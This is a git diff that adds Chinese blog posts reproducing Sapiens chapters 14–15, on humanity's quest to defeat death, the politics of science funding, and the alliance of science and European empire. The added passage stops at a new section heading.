+人类所有看来无法解决的问题里，有一项最为令人烦恼、有趣且重要：死亡。在现代晚期之前，大多数的宗教和意识形态都想当然地认为死亡是不可避免的命运。此外，多数的信仰也以死亡作为生命意义的主要来源。想象一下，如果没有死亡，伊斯兰教、基督教或是古埃及宗教会变得如何？这些宗教告诉信众，他们应该和死亡达成一种协议，将重点放在来世，而不是在今生试图克服死亡、寻求永生。当时最聪明的人才，想的是如何给死亡赋予意义，而不是逃避死亡。 + + +这个主题也出现在现存最古老的神话里：苏美尔人的吉尔伽美什（Gilgamesh）神话。这则神话的主角是乌鲁克（Uruk）的国王吉尔伽美什，他英勇善战，无人能敌。有一天，他最好的朋友恩基杜（Enkidu）过世，他坐在遗体旁陪着他许多天，直到看到朋友的鼻孔里掉出了一只蛆来。那一刻，吉尔伽美什感到极度惊恐，下定决心设法战胜死亡。他接着踏上旅程前往世界的尽头，途中击败狮子、与蝎人作战，还得找到方法进到阴间。到了阴间，他打碎了几个岩石巨人，遇见阴间的摆渡人乌夏纳比（Urshanabi），最后找到了经历巴比伦大洪水仍幸存的乌特纳比西丁（Utnapishtim）。然而，最后吉尔伽美什的努力仍告失败，空手而归。虽然一样无法避免死亡，但他多了几分智慧。吉尔伽美什体会到，从神创造人类的时候开始，死亡就是人类必然的命运，必须学会接受。 +如果是进步论的信徒，就不会接受这种失败主义的态度。对信奉科学的人而言，死亡绝非必然的命运，而不过是个科技问题罢了。人之所以会死，可不是什么神的旨意，而是因为各种技术问题，像是心脏病，像是癌症，像是感染。而每个技术问题，都可以找到技术性的解决方案。心脏衰竭的时候，可以用起搏器加以刺激，或直接用新的心脏取代。癌症肆虐的时候，可以用药物或放射线治疗。细菌繁殖的时候，可以服用抗生素来解决。确实，现在我们还无法解决所有技术问题。然而我们正在努力。现在所有最优秀的人才可不是浪费时间为死亡赋予意义，而是忙着研究各种与疾病及老化相关的生理、荷尔蒙和基因系统。他们也在开发新的药物、革命性的新疗法以及各种人造器官，这都能让人类生命延长，甚至有一天终能击败死神。 +在不久之前，不论是科学家或任何人，都还不敢把话说得如此大胆。他们会说：“打败死亡？！这话太夸张了。我们只是想医好癌症、肺结核和阿兹海默症而已。”人们避谈死亡，是因为这个目标似乎太虚无缥缈，为什么要有不合理的盼望呢？然而，现在我们已经可以坦然承认。科学革命的一大计划目标，就是要给予人类永恒的生命。如果觉得永生不死似乎还是个太遥远的目标，可以回想一下，我们现在的医药成就早就是几世纪前所绝对不敢想象的。在1199年，狮心王理查不过是被箭射中了左肩。对今天的医疗来说，这不过是个轻伤。但在1199年，没有抗生素，也没有有效的杀菌方法，于是轻微的皮肉伤造成感染，形成坏疽。12世纪的欧洲阻止坏疽的唯一方式就是截肢，但感染在肩膀上，连截肢也不可行。于是，坏疽就这样在狮心王的身体里蔓延，而众人无能为力。不过两周之后，他就在极度的痛苦中驾崩。 +就算到了19世纪，当时最高明的医师仍然不知道如何预防感染、避免组织腐败。在战场上，就算士兵只是肢体受了轻伤，军医常常还是立刻截肢，以免坏疽造成严重的后果。而且，当时不论是截肢还是其他任何医疗程序（如拔牙），都还没有麻醉剂可用。最早的麻醉药（乙醚、氯仿和吗啡）都是要到19世纪中叶之后，才正式用于西方的医疗之中。在氯仿问世之前，每次要进行截肢，就得用上四名士兵把受伤的患者牢牢压住才成。1815年滑铁卢之役隔日清早，野战医院旁边就因为截肢而有了手脚成堆的景象。在那些时候，征召入伍的木匠和屠夫常常被调派到军医院，毕竟手术需要的不过也就是刀锯，再无其他。 +但在滑铁卢之役两百年后，一切已经截然不同。我们有着各式各样的药丸、针剂和复杂的手术任君挑选，许多在过去必然会造成死亡的疾病和伤口，现在只是小事一件。此外，对于前现代的民众来说，有许多疾病和疼痛无法可治，只能当作生活中的一部分来接受，但现在也得以药到病除。全球人类的平均寿命已经从25~40岁跃升为67岁左右，而发达国家的平均寿命更高达80岁。75 +死神军团受到最大的挫败在于儿童死亡率。在20世纪之前，农业社会里有1/4到1/3的孩童无法活到成年。他们多数都死于儿童期疾病，例如白喉、麻疹和天花。在17世纪的英国，每1000个新生儿就有150个无法活到1岁，而且有1/3的儿童也无法活到15岁。76时至今日，英国每1000个新生儿只有5个无法活到1岁，只有7个无法活到15岁。77 +如果我们先把统计学放在一旁，来讲讲故事，或许就更能体会到这些数字背后的全貌。有一个很好的例子，就是英格兰国王爱德华一世（1237~1307）和埃莉诺王后（1241~1290）一家。他们的孩子可说享有中世纪欧洲的最佳照料，住在宫殿里，想吃什么就吃什么，有足够的御寒衣物，有供给无虞的温暖壁炉，有当时最干净的用水，许许多多仆人能使唤，还有最好的医生。而以下数据列出了埃莉诺王后从1255~1284年间所生的16个孩子： +1. 一个女儿，不知姓名，出生于1255年，出生时夭折。 +2. 一个女儿，取名凯瑟琳，1岁或3岁时夭折。 +3. 一个女儿，取名乔安妮，6个月时夭折。 +4. 一个儿子，取名约翰，5岁时夭折。 +5. 一个儿子，取名亨利，6岁时夭折。 +6. 一个女儿，取名埃莉诺，得年29岁。 +7. 一个女儿，不知姓名，5个月时夭折。 +8. 一个女儿，取名乔安妮，享年35岁。 +9. 一个儿子，取名阿方索，10岁时夭折。 +10. 一个女儿，取名玛格丽特，享年58岁。 +11. 一个女儿，取名贝伦加丽亚，2岁时夭折。 +12. 一个女儿，不知姓名，出生后不久夭折。 +13. 一个女儿，取名玛丽，享年53岁。 +14. 一个儿子，不知姓名，出生后不久夭折。 +15. 一个女儿，取名伊丽莎白，享年34岁。 +16. 一个儿子，取名爱德华。 +这位最年轻的爱德华，不仅是第一个得以活过危险童年的儿子，而且在父王驾崩之后即位，成为英格兰国王爱德华二世。换句话说，埃莉诺王后尝试了16次，才终于完成了英格兰王后最重要的使命：让丈夫能有一位男继承人。她想必是一位耐心卓绝、毅力过人的女性。只不过，爱德华二世挑的王后、法国的伊莎贝拉就不是这种人了。她在他43岁的时候将他谋杀。78 +据我们所知，埃莉诺和爱德华一世两人都十分健康，并没有将什么致命的遗传性疾病传给子女。然而，他们的16个孩子还是有10个（62%）未能活过儿童期。只有6个活过11岁，只有3个（18%）活过40岁。而且，除了这些确实出生的孩子之外，埃莉诺王后很有可能还曾经几次流产。平均而言，爱德华和埃莉诺大约是每三年就有一个孩子夭折。这种丧子丧女之痛，对今天的父母而言简直难以想象。 +* * * +这项要打败死亡的吉尔伽美什计划会需要多久？一百年？五百年？一千年？我们回头看看，在1900年的时候我们对人体几乎一无所知，而在这一世纪中已经得到了多么大量的知识，因此确实有乐观的理由。基因工程师最近已经成功将秀丽隐杆线虫（Caenorhabditis elegans）的平均寿命延长了6倍。79这在智人身上是不是也行得通？纳米科技专家也正在研发使用数百万的纳米机器人打造仿生免疫系统，让这些机器人住在我们的身体里，就能打通阻塞的血管、抵抗病毒和细菌、消灭癌细胞，甚至逆转老化的进程。80有几位学者确实认为，到了2050年，就已经能够让某些人达到长生（a-mortal）的状态，只要不是因为意外而受到致命性伤害，就能将生命无限延长〔而所谓的不死（immortal），则是指完全没有死亡的可能〕。 +不论这项吉尔伽美什计划是否会成功，从历史的角度来看，就会发现许多现代晚期的宗教和意识形态已经不再强调死亡和来世这两项元素。在18世纪之前，各个宗教仍然认为死亡和其影响是生命意义的核心。但从18世纪开始的宗教和意识形态，像是自由主义、社会主义、女权主义，就已经对来世完全失去兴趣。对于共产主义者来说，死后会如何？资本主义者呢？女权主义者呢？如果想从马克思、亚当·斯密或西蒙娜·波伏娃的著作中找到以上问题的解答，无疑是缘木求鱼。唯一一个让死亡仍然占据核心的现代意识形态就是民族主义。在那些绝望到极点但又同时充满诗意的时刻，民族主义就会向人承诺，就算你牺牲了生命，但你会永远活在国家整体的永恒记忆里。只不过，这项承诺实在太虚无缥缈，恐怕大多数民族主义者也不知道这究竟说的是什么意思。 +科学研究的恩客 +我们活在一个科技时代。许多人相信，有了科技就能找出所有问题的解答。只要让科学家和科技研发人员继续努力，总有一天我们能在地球上创造天堂。然而，科学活动并不是处于某个更高的道德和精神层面，而是也像其他的文化活动一样，受到经济、政治和宗教利益的影响。 +科学活动所费不赀。如果生物学家想研究人类免疫系统，就需要实验室、试管、化学药品和电子显微镜，更别提还需要实验室助理、水电工人和清洁工人。如果经济学家想模拟金融市场状况，就得购买计算机、建立庞大的数据库，还需要开发复杂的数据处理程序。如果考古学家想了解古老的狩猎采集行为，就必须长途跋涉、挖掘遗址，还得为所有的骨骼化石和文物标记日期。这一切都需要经费。 +现代科学之所以能在过去500年间取得如同奇迹般的成果，有很大程度必须归功于政府、企业、基金会和私人捐助者愿意为此投入数十亿美元的经费。这数十亿美元对于绘制世界地图、宇宙星图，以及将整个动物界编目的贡献，其实远超过哥伦布、伽利略和达尔文个人。就算这几位天才大师从未出生，迟早也会有人得到与他们相同的见解。但如果没有适当资金，就算再怎么天纵英才，也是有力难施。举例来说，如果达尔文从未出生，提出演化论的荣耀就会落到阿尔弗莱德·罗素·华莱士（Alfred Russel Wallace）头上，他在不知道达尔文理论的情况下，不过几年之后也想出了自然选择的演化理论。然而，如果欧洲列强并未资助世界各地的地理学、动物学和植物学研究，不论是达尔文还是华莱士，都无法得到提出演化论背后所需的实证资料。很有可能他们连想都想不到。 +究竟为什么会有数十亿美元的资金，从政府和企业流进实验室和大学？在学术界，许多人还天真地相信这一切都是为了纯粹的科学学术。他们认为，政府和企业是基于利他的心态，于是提供经费给他们从事任何他们有兴趣的研究。但关于科学经费的现实绝非如此。 +科学研究之所以能得到经费，多半是因为有人认为这些研究有助于达到某些政治、经济或宗教的目的。例如在16世纪，国王和银行业者对于前往世界各地进行地理探勘可以说是挥金如土，但讲到要研究儿童心理学可就一毛不拔。原因就在于，国王和银行家认为新的地理知识能够让他们征服新的土地、成立贸易帝国，但他们在儿童心理学这一块，则看不到任何利益。 +20世纪40年代，美国和苏联也投入大量资金研究核物理，而不是水下考古。根据两国当政者推测，研究核物理有助于发展核武器，而水下考古对于赢得战争大概没什么帮助。科学家本身并不一定会察觉到各种控制金钱流动的政治、经济和宗教利益，许多科学家确实只是纯粹为了求知而研究。然而，真正控制科学发展进度表的，也很少是科学家。 +就算我们希望能够赞助纯科学，不要受到政治、经济或宗教利益干扰，很有可能还是无法成功。毕竟，人类的资源有限。如果要求美国国会议员为美国国家科学基金会多拨100万美元来从事基础研究，他一定会理直气壮地问，如果这笔钱拿来做教师培训或是补助他选区某个陷入困境的工厂，不是更能把钱花在刀刃上吗？正因为资源有限，我们就必须回答像是“什么更重要”和“怎样才算花得适当”这种问题。但这些都不是科学问题。科学能够解释的，是这个世界上有什么，事物如何运作，以及未来可能会有什么。就定义来说，科学不会假装自己知道未来“一定”会有什么。只有宗教和意识形态会声称自己知道这些答案。 +考虑以下的两难情境：有来自同一系所的两位生物学家，拥有同样的专业技能，都想申请数百万美元的研究经费。甲教授想研究一种会感染奶牛乳房、造成产奶量降低一成的疾病。乙教授想研究的则是奶牛被迫与后代分开时是否会造成忧郁。假设经费有限，不可能两者都补助，那么哪位教授该得到这笔经费？ +这个问题没有出于科学的答案，只有出于政治、经济和宗教的答案。在现在，显然甲教授更有可能得到经费。这并不是因为研究乳房疾病比牛心理在科学上更有趣，而是因为能够从此研究得益的乳品业，背后的政治和经济影响力会远大于关心后者的动物保护团体。 +或许，如果是在视牛为圣物的印度，或是在某个致力于保护动物的社会里，乙教授就有更大的胜出机会。然而，如果他所在的社会更重视的是牛奶的商业潜力及人民的健康安全，而不那么重视奶牛的情感需求，他最好还是改写一下研究计划，以迎合那些心态。举例来说，计划书可以写道：“奶牛忧郁将导致产奶量下降。若能了解奶牛的心理状态，便可开发精神疾病药物，改善其心情，进而提高一成的产奶量。本人估计，全球奶牛精神疾病药物的市场可达每年2.5亿美元。” +科学并无力决定自己的优先级，也无法决定如何使用其发现。举例来说，从纯科学的角度来看，虽然我们已经越来越了解基因遗传学，但我们还不知道该如何加以应用。是该用这些知识来治愈癌症、创造出超人种族，还是要培育有特大号乳房的奶牛？很明显，就算是完全相同的科学研究，交给民主开放的政府还是纳粹政府，或是资本主义的商业公司，就会有完全不同的用途，而且并没有任何“科学的”理由告诉我们谁才是对的。 +总之，科学研究一定得和某些宗教或意识形态联手，才有蓬勃发展的可能。意识形态能够让研究所耗的成本合理化。而代价就是意识形态能够影响科学的进程表，并且决定如何使用研究成果。因此，如果想知道人类究竟是怎样做出核弹，怎样登上月球，光是研究物理学家、生物学家和社会学家的成就还不够。我们还必须考虑到当时的思想、政治和经济力量，看看这些力量如何形塑了物理学、生物学和社会学，将它们推往某些特定的方向。 +其中，有两股力量特别值得关注：帝国主义和资本主义。在过去500年间，科学、帝国和资本之间的回馈循环无疑正是推动历史演进的主要引擎。以下章节就会分析其运作。首先，我们先看看科学和帝国这两具引擎是如何结合，再看看它们又如何再扣上资本主义的推进器。 diff --git a/_posts/2017-01-06-207-sapiens-cp15.md b/_posts/2017-01-06-207-sapiens-cp15.md new file mode 100644 index 0000000..0c3fc8a --- /dev/null +++ b/_posts/2017-01-06-207-sapiens-cp15.md @@ -0,0 +1,128 @@ +--- +layout: post +title: 第十五章科学与帝国的联姻 +pid: 207 +tags: [人类简史：从动物到上帝] +--- +第十五章 +科学与帝国的联姻 +地球距离太阳多远？许多现代早期天文学家想方设法寻求解答，特别是哥白尼主张宇宙的中心是太阳而非地球之后，就吵得沸沸扬扬。许多天文学家和数学家都想解出这道难题，但众家得出的答案却有极大的差异，无法达成共识。终于，有人在18世纪中叶提出了可靠的测量方法。每隔几年，金星就会从太阳和地球之间直接通过，形成看似金星从太阳表面划过的“金星凌日”现象。而根据从地球各处观看金星的角度有些微不同，能够观察到金星凌日的时间长短也有所不同。只要从地球上不同的大洲观察同一场金星凌日，用简单的三角函数就能算出太阳到地球的准确距离。 +当时天文学家预测，下一次金星凌日是在1761和1769年。于是，欧洲人派出船队前往地球四方，希望能尽量从各个最远的角落来观察这个现象。在1761年，科学家从西伯利亚、北美、马达加斯加和南非观察。时近1769年，欧洲科学界更是不遗余力，远途前往加拿大北部和加州（当时还是一片荒野）。而且，伦敦皇家自然知识促进会（The Royal Society of London for the Improvement of Natural Knowledge，一般简称英国皇家学会）认为这还不够。为了得到最准确的结果，他们认为绝对有必要特地派一位天文学家到西南太平洋。 +于是，英国皇家学会出资出力毫不吝惜，派了一位杰出的天文学家查尔斯·格林（Charles Green）前往塔希提岛。然而，既然这趟航程如此昂贵，如果目的只有一次天文观测，岂不是太过浪费？因此，除了格林之外，同行的还有八位其他学科的科学家，队长则是植物学家约瑟夫·班克斯（Joseph Banks）和丹尼尔·索兰德（Daniel Solander）。在这个远征队里还有几位画家，专门负责绘制途中必然会遇到的新土地、植物、动物和人类。船队配备了班克斯和英国皇家学会所能买到最先进的科学仪器，船长则是詹姆斯·库克（James Cook），他不仅是老练的水手，更是声名卓著的地理和人种学家。 +远征队于1768年离开英国，1769年在塔希提观察到金星凌日，接着前往考察一些太平洋岛屿，抵达了澳大利亚和新西兰，最后在1771年回到英国。这趟远征带回了数量惊人的天文学、地理学、气象学、植物学、动物学和人类学资料，成了以后许多学科得以发展的重要基础，并引发欧洲人对南太平洋的诸多想象，也启发后世的博物学家和天文学家。 +医药领域就得益于库克船长的这场远征。当时，讲到要航行至遥远的彼岸，大家都有心理准备，有一半以上的船员无法抵达终点。他们的最大克星并不是愤怒的原住民、敌人的战舰，或是思乡情切，而是当时还一无所知的坏血病。得了坏血病，人就会变得慵懒昏沉、心情沮丧，而且牙龈等软组织还会出血。等到疾病恶化，就会开始掉齿、出现伤口且无法愈合，病人开始发烧、黄疸，无法控制四肢。在16到18世纪之间，坏血病估计夺走了两百万船员的生命。当时没有人知道坏血病的病因，而且不管用什么疗法，水手还是大批死亡。一直到1747年终于有了转机，英国医生詹姆斯·林德（James Lind）用患上坏血病的水手进行了一场实验，分成控制组和各个对照组，各自给予不同的治疗。其中一组采用的是当时治坏血病的民俗疗法：吃柑橘类水果。而这组患者也迅速康复了。虽然当时林德还不知道究竟柑橘类水果有什么是水手所需要的，但我们现在已经知道正是维生素C。当时典型的船上饮食都明显缺乏维生素C，远航的水手通常只吃饼干和牛肉干，几乎没有水果或蔬菜。 +虽然英国皇家海军并未采信林德的实验结果，但库克船长信了。他决心证明这位医生是对的。于是，库克的船队带着大量的酸菜，并且每次只要登陆，就下令水手必须多吃新鲜蔬菜水果。在库克手下的所有水手，没有任何一个因为坏血病而丧命。接下来的10年里，世界上所有的海军都改采用库克船长提倡的海上饮食，拯救了无数的水手和乘客的生命。81 +然而，库克远征队还有另外一个远非良性的影响。库克除了是个经验老到的水手和地理学家，同时还是海军军官。虽然远征的绝大部分经费来自英国皇家学会资助，但船舶本身是由皇家海军提供。同时，海军调派85位装备精良的水手和士兵同行，船上也配备船用大炮、步枪、火药和其他武器。毕竟，远征取得的大部分资料（尤其是天文、地理、气象和人类学资料）都具有明显的政治和军事价值。有了坏血病的疗法之后，英国便能派出海军前往地球最远的另一端，对全球各大洋的控制力也随之大增。对于许多库克“发现”的岛屿，他都声称从此归英国所有，其中最重要的就是澳大利亚。库克这场远征奠定了英国占领西南太平洋的基础，征服了澳大利亚、塔斯马尼亚和新西兰，让数百万的欧洲人殖民到新的土地；但也造成许多本土文化灭绝，原住民几近灭种。82 + +在库克远征后的一世纪间，澳大利亚和新西兰最肥沃的土地都被欧洲移民掠夺强占。原住民不仅人数锐减90%，幸存者也严重受到种族歧视迫害。对于澳大利亚原住民和新西兰毛利人来说，库克远征队带来的是几近毁天灭地的灾难，至今尚未复原。 +而在塔斯马尼亚岛上的原住民，遭遇甚至更加悲惨。他们原本遗世独立，生存繁衍长达上万年，但在库克抵达后短短一世纪间，就惨遭灭族，男女老幼无一幸免。欧洲殖民者起初只看上岛上最肥沃富裕的地点，接着就连荒野之地也不肯放过，有组织有计划地杀害所有原住民。最后仅存的少数人被赶到一个新教的集中营，传教士一片好意（但心胸并不特别开明），循循善诱，希望给他们灌输关于现代世界的生活方式。他们要塔斯马尼亚人学习阅读、写作和信仰基督教，以及操练各种“有用的技能”，像是缝补衣物和耕作。但他们拒绝学习，变得越来越忧郁，不再愿意生育后代，对生命完全放弃希望，最后终于踏上一条唯一能逃离这个科学、进步现代社会的退路：死亡。 +令人不胜感慨的是，就算死后，科学与进步并未就此放过他们。最后几个塔斯马尼亚人的遗体被人类学家和博物馆长以科学之名取走，进行解剖、测量长度和重量，再分析发表成所谓的科学文章。接着，他们的头骨和骨架再被陈列在博物馆里，成了人类学的藏品。一直要到1976年，塔斯马尼亚博物馆才终于愿意松手，让楚格尼尼（Truganini，最后一位离世的纯种塔斯马尼亚人）的遗骨得以安葬，此时她已经去世了一百年之久。英国皇家外科医师学会（English Royal College of Surgeons）也是到了2002年，才归还她的皮肤和头发标本。 +所以这样说来，库克的船队究竟是有武力保护的科学远征队，还是有几个科学家随行的武力远征军？这个问题就像是问车子的油箱该说是半满还是半空一样，其实两者皆是。科学革命与现代帝国主义的关系密不可分。对于像是库克船长和植物学家班克斯来说，科学和帝国根本就是一家。就连倒霉的楚格尼尼也分不出这两者的概念有何不同。 +为什么是欧洲？ +如果我们看看，从北大西洋的一座大岛，一群人竟出发征服了远在澳大利亚南边的另一座大岛，这可以说是史上最不可思议的事件之一了。在库克远征之前不久，不列颠群岛和西欧还不过就像是地中海世界荒废的偏远后院，人们从没听说过它们有任何重要性。就算是前现代唯一上得了台面的古罗马帝国，财富也多半是来自北非、巴尔干和中东的行省。当时古罗马帝国的各个西欧行省还只是一片荒凉的大西部，除了矿产和奴隶之外并没有什么重要性。至于北欧更是偏远荒凉又野蛮，毫无征服的价值。 +一直要到15世纪末，欧洲才成为各种军事、政治、经济、文化发展的摇篮。在1500到1750年间，西欧意气风发，成为“外部世界”（Outer World，指南北美洲和各大洋）的主人。但就算在当时，面对亚洲的超级强权，欧洲还是小巫见大巫。欧洲人之所以能成功征服美洲、在海上称王，主因是亚洲帝国对这些地方兴趣不大。地中海的奥斯曼帝国、波斯的波斯帝国、印度的莫卧儿帝国，以及中国的明、清，在现代早期也是蓬勃发展，领土显著增长，人口及经济发展幅度前所未见。在1775年，亚洲占了全球经济总额八成的比重。光是印度和中国，就占了全球生产量的2/3。相较之下，欧洲就像个经济侏儒。83 +一直要到1750到1850年间，欧洲在一系列战争中将传统亚洲大国打得抬不起头，征服了亚洲的大片土地，全球的权力中心才移到欧洲。在1900年左右，欧洲已经紧紧掌握着世界经济和多数的土地。在1950年，西欧加美国的生产量占了全球超过一半，而中国只剩5%。84在欧洲主持下，出现了一个新的全球秩序。虽然我们常常不愿意承认，但现在全球所有人的穿着、想法和品位几乎就都是欧洲人的穿着、想法和品位。虽然有些人嘴上大力抨击欧洲，但几乎所有人都是用欧洲观点在看政治、医学、战争和经济，听着欧洲风格的音乐，写着来自欧洲的语言文字。就算是今天中国经济突飞猛进，很可能即将回归霸主地位，基础仍然是欧洲的生产和金融模式。 +欧洲原本就像是处在世界的一个偏远角落，气候还冻到让人手指僵硬，他们究竟是怎么一跃而出、征服世界的？常常有人认为最大的功臣就是欧洲的科学家。确实，从1850年起，欧洲之所以能够称霸世界，很大程度靠的就是军事、工业和科学领域的合作，以及如同巫术般神妙的科技。所有强盛的现代晚期帝国都积极发展科学研究，希望能够取得科技上的创新，而许多科学家也就投入大半时间，为帝国主人研发各种武器、医药和机器设备。欧洲军队面对非洲人抵抗时，常有一种说法：“不论怎样，我们有机枪，他们没有。”但民间科技的重要性也绝不在话下。像是罐头食品能够让军队不饿肚子，铁路和轮船方便军事调动人力和物资，再加上各种新药能够医治士兵、水手和工兵。欧洲之所以能够征服非洲，这些先进后勤物流的贡献甚至更胜于武器机枪。 +然而，在1850年以前，情况并非如此。当时，军事、工业和科学领域的结合还刚起步，科学革命的科技成果也尚未成熟，欧亚非国家之间的科技差距微乎其微。像是在1770年，虽然库克船长的科技肯定远超于澳大利亚原住民，但面对中国和奥斯曼土耳其却也占不了上风。那究竟是为什么，最后征服澳大利亚的是库克船长，而不是康熙的水师提督万正色或是土耳其的名将帕夏（Hussein Pasha）？更重要的是，如果欧洲人在1770年面对印度人和中国人并没有什么科技优势，为什么他们能在接下来的短短一世纪间，让自己和世界其他地区拉开这么大的差距？ +为什么这种军——工——学复合组织只在欧洲开花结果，而在印度无声无息？为什么在英国突飞猛进之后，法国、德国和美国立刻起身直追，但中国却是欲振乏力？而在工业化成了明显的政治经济因素的时候，为什么俄国、意大利和奥地利成功缩短这段差距，而波斯、埃及和奥斯曼土耳其却无力回天？毕竟，第一次工业化的科技相对而言并不复杂。难道对于中国或奥斯曼土耳其来说，要设计蒸汽机、制作机枪、铺条铁路，真有那么困难？ +全球第一条商业铁路于1830年在英国启用。到了1850年，西方国家已有将近40000公里的铁路纵横交错，但在整个亚洲、非洲和拉丁美洲，铁路总长只有4000公里。在1880年，西方铁路长度堂堂超过35万公里，但全球其他地区还只有大约3.5万公里而已（而且大多数是英国在印度所铺设）。85中国甚至要到1876年，才建了第一条铁路，全长25公里，由欧洲人所建；而且来年就遭到中国政府拆除。所以，就算到了1880年，中国这个庞大的帝国连一条铁路也没有。波斯的第一条铁路要到1888年才完工，连接了伊朗首都德黑兰和南方约10公里远的一处穆斯林圣地，由一家比利时公司兴建及经营。在1950年，波斯的铁路网总长仍然只有2500公里，但这个国家的国土面积可是足足有英国的7倍大。86 +中国和波斯其实并不缺乏制作蒸汽机的科技（当时要照抄或是购买都完全不成问题），他们缺少的是西方的价值观、故事、司法系统和社会政治结构，这些在西方花了数个世纪才形成及成熟，就算想要照抄，也无法在一夕之间内化。之所以法国和美国能够很快跟上英国的脚步，是因为他们本来就和英国共享一套最重要的故事和社会结构。而中国和波斯总是追赶不及，则是因为整个关于社会的想法和组织就是不同。 +有这种想法，就能用新的观点来看1500年到1850年。虽然这段时期欧洲面对亚洲在科技、政治、军事、经济上并不具有什么明显的优势，但却是在厚植累积独特的潜力，直到1850年左右才终于爆发。虽然欧洲、中国和穆斯林世界在1750年看起来还没什么差异，但这其实只是假象。这就像是有两家建筑商同时开始兴建高楼，一家使用的是木材和泥砖，另一家则是使用钢筋和混凝土。一开始，两个工地无论兴建速度或是建筑高度都相去无几，看起来这两种建法也就没什么差别。但等到一过了某个门槛，木材和泥砖盖的高楼就再也无力支撑，于是颓然倾塌，而钢筋和混凝土却还是能屹立不摇，继续向上伸展到人类目光的极限。 +究竟欧洲在现代早期培养了什么潜力，让它能在现代晚期称霸全球？这个问题有两个答案、相辅相成：现代科学和资本主义。一开始，科学和资本主义的思考方式还没有什么明显优点，但欧洲人就已经习惯顺着这两个理路来思考。所以，等到科技发展成熟，就像是个取之不尽的大矿藏，而欧洲人开采这处矿藏的能力也远胜其他。因此不难想象，在21世纪这个“后欧洲世界”，科学和资本主义就成了欧洲帝国主义最重要的遗产。虽然欧洲和欧洲人不再是世界的统治者，但科学和资本主义还是继续茁壮。关于资本主义的胜利，我们留到下一章再讨论。这一章还是先继续谈谈欧洲帝国主义和现代科学之间的浪漫爱情故事。 +征服的心态 +现代科学在欧洲帝国内蓬勃发展，而且也是因为有欧洲帝国才得以发展。这项学科起初明显承继古希腊、中国、印度和伊斯兰等等古老的科学传统体系，一直要到现代早期，随着西班牙、葡萄牙、英国、法国、俄国和荷兰等帝国扩张，才开始形成自己独特的性质。在现代早期，中国、印度、穆斯林、美国原住民、波利尼西亚人都还是对科学革命贡献良多。像是穆斯林经济学者的观点影响了亚当·斯密和马克思，美国原住民有些独步全球的医疗方式后来也进入了英国的医疗研究，波利尼西亚人提供的数据更是彻底改变了西方人类学。但在20世纪中叶以前，唯一收集整理这些无数科学发现、从这过程中打造出科学学科的人，就是全球欧洲帝国的统治精英及知识精英。虽然远东和伊斯兰世界也有同样聪明、同样好奇的人，但在1500年到1950年之间，这些地区完全没有提出能够与牛顿物理学或达尔文生物学相提并论的研究。 +这并不是说欧洲人有什么独特的科学基因，又或是物理学和生物学研究永远就是欧洲人的天下。正如伊斯兰教，原本是阿拉伯人的专利，但后来就交棒给土耳其人和波斯人；现代科学虽然原本专属于欧洲，但现在也已经成了多民族的领域。 +现代科学和欧洲帝国的历史连接究竟是怎么产生的？虽然科技在19世纪和20世纪大放异彩，但在现代早期并不突出。这里真正的关键因素在于，不管是想寻找植物的植物学家还是想寻找殖民地的海军军官，都有一种共同的心态。他们共同的出发点就是承认无知，都会说“我不知道那里有什么”。于是，他们都觉得有走出去、寻找新发现的必要。而且，他们都希望这样取得的新知识能够让他们成为世界的主人。 +* * * +欧洲帝国主义和先前的所有帝国完全不同。过去的帝国主义者都认为自己已经了解了整个世界，“征服世界”只是为了要利用及传播他们自己对于世界的看法。以阿拉伯人为例，他们征服埃及、西班牙和印度并不是为了想找出什么自己不知道的事。古罗马人、蒙古人和阿兹特克人之所以积极四方征讨，为的是权力和财富，也不是为了新知。相较之下，欧洲帝国主义之所以要前往遥远的彼岸，除了为了新领土，也是为了新知识。 +库克船长并不是第一个这么想的探险家。15、16世纪的葡萄牙和西班牙航海家就已经是抱着这种信念。葡萄牙的航海家亨利王子（Prince Henry the Navigator）和达伽马一面探索非洲海岸，一面夺下各个岛屿和港口的控制权。哥伦布“发现”美洲之后，立刻宣称这片土地归西班牙国王所有。麦哲伦除了找出环绕世界的航道，同时也奠定了西班牙征服菲律宾的基础。 +随着时间过去，对知识的追寻和对领土的追寻变得越来越紧密交织。在18、19世纪，几乎每一趟从欧洲出发的军事远征队都必定有科学家同行，科学家的目的不在打仗，而是科学研究。例如拿破仑1798年进攻埃及的时候，就带了165位学者。这群学者的一大成就便是建立了一个全新的学科：埃及学，并且在宗教、语言学、植物学方面有重大贡献。 +1831年，英国皇家海军派出“小猎犬号”（HMS Beagle），前往绘制南美、马尔维纳斯群岛和加拉巴哥群岛的海岸图。有了这些知识，海军在开战时就能掌握先机。小猎犬号的船长自己也是业余科学家，他决定顺便再带上一位地质学家，研究一路上可能碰到的地质构造。然而，好几位专业地质学家都拒绝了他的邀约，最后是由一位年仅22岁的剑桥毕业生接受了邀约，他就是达尔文。达尔文曾经差点儿就成了英国圣公会的牧师，但他对地质学和自然科学的兴趣远比对《圣经》来得浓厚，于是他抓住了这个机会，开创了后世无人不知的这段历史。在这趟航程中，船长就这么绘制着军用地图，而达尔文也就这么收集着各种实证资料，发展各种想法，最后形成他的演化论。 +* * * +1969年7月20日，尼尔·阿姆斯特朗（Neil Armstrong）和伯兹·艾德林（Buzz Aldrin）踏上了月球表面。在登陆前的几个月，阿波罗11号的航天员都是在美国西部一个类似月球的沙漠里受训。当地也是几个美国原住民部落的居住地，而有这么一个故事（或说传说），讲的是航天员有一次碰到一个当地人的情形： +有一天，航天员受训的时候刚好碰到一位上了年纪的美国原住民。老人问他们在那里做什么。航天员说他们属于一个研究探险队，不久之后就要上月球了。听到他们这么说，老人沉吟了一会儿，问他们能不能帮个忙。 +“要帮什么忙呢？”他们问。 +“是这样的，我们族人都相信我们的圣灵住在月亮上。不知道你们能不能为我们族人带个重要的口信？”老人问。 +“要带什么话呢？”航天员问。 +这位老人用族语说了一串，并要求航天员重复再三，直到确定他们背得滚瓜烂熟为止。 +“这是什么意思？”航天员问。 +“啊，这个是族人和月亮上的圣灵之间的秘密。” +等到航天员回了基地，好不容易才找到了一位会讲当地族语的人，希望能翻译这段话的意思。他们把这段话叽里咕噜背出来，让这位翻译简直笑翻了。等到翻译好不容易平静下来，航天员问他，这段话究竟说的是什么。翻译说，这些航天员费尽心力背下来的这句话是：“不管这些人跟您说什么，千万别相信他们。他们只是要来偷走您的土地。” +地图上的空白 